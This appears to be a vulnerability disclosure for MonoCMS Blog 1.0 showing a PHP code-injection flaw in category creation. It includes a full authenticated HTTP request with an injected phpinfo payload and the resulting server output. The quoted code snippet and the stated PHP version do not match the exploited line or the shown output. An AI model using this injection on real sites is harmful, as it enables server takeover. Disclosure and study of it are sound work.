

main

...

vuln / MonoCMS Blog / MonoCMS Blog 1.0_remote_code_execution.md



fortest-1 Update MonoCMS Blog 1.0_remote_code_execution.md

History

1 contributor

56 lines (34 sloc) | 1.41 KB

...

MonoCMS Blog 1.0_remote_code_execution

Detail:

At monofiles /category.php:27 , user input was saved to category/[foldername]/index.php causing RCE.

```
49     if (isset($_GET['deln'])) {
50
51         $name = $_GET['deln'];
52         $delroot = '../category/'.$_GET['deln'];
53
54         if (is_file($delroot.'/name.txt')) {
55
56             $delcat = file_get_contents($delroot.'/name.txt');
57
58             $resfiles = glob('autosaves/*.xml');
59             foreach($resfiles as $f){
60
61                 $sxml = new SimpleXMLElement($f,null,true);
62                 if ($sxml->postinfo->post->category == $delcat){
63
64                     $sxml->postinfo->post->category = '-';
65                     $sxml->asXML($f);
66                 }
67             }
68         }
69     }
```

POC:

My env MonoCMS Blog 1.0 php 5.6.9 Windows

category rce At monofiles/category.php:27, user input was saved to category/[foldername]/index.php causing RCE.

First Step: Login to your account(default:admin/1234)



Send an request:


```
POST /monofiles/category.php HTTP/1.1
Host: 172.16.105.29
Content-Length: 68
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.105.29
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.105.29/monofiles/category
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: MON=r1u4c0k2mv2c222linpoma712m
Connection: close

newcat=test";phpinfo();exit();//&foldername=test
```

Visit /category/test/index to successfully execute the code

» 此电脑 » 新加卷 (D:) » phpstudy » WWW » category » test

名称	修改日期	类型
 index.php	2020/10/14 18:02	PHP 文件
 name.txt	2020/10/14 18:02	文本文档

 index.php - 记事本

文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)

```
<?php $catg="test";phpinfo();exit();//";
if(!file_exists("../pagep.php"))
    exit("Error loading content. Please come back later.");

include "../pagep.php" ?>
```

ies x PHP 7.3.4 - phpinfo() +

不安全 | 172.16.105.29/category/test/index

PHP Version 7.3.4



System	Windows NT DESKTOP-S3QIRDS 10.0 build 17763 (Windows 10) AMD64
Build Date	Apr 2 2019 21:50:57
Compiler	MSVC15 (Visual C++ 2017)
Architecture	x64
Configure Command	cscrip /nologo configure.js "--enable-snapshot-build" "--enable-debug-pack" "--disable-zts" "--with-pdo-oci=c:\php-snap-build\deps_aux\oracle\x64\instantclient_12_1\sdk,shared" "--with-oci8-12c=c:\php-snap-build\deps_aux\oracle\x64\instantclient_12_1\sdk,shared" "--enable-object-out-dir=../obj/" "--enable-com-dotnet=shared" "--without-analyzer" "--with-pgo"
Server API	CGI/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	C:\Windows
Loaded Configuration File	D:\phpstudy\Extensions\php\php7.3.4nts\php.ini
Scan this dir for additional .ini files	(none)
Additional .ini files parsed	(none)
PHP API	20180731
PHP Extension	20180731
Zend Extension	320180731
Zend Extension Build	API320180731,NTS,VC15
PHP Extension Build	API20180731,NTS,VC15
Debug Build	no
Thread Safety	disabled
Zend Signal Handling	disabled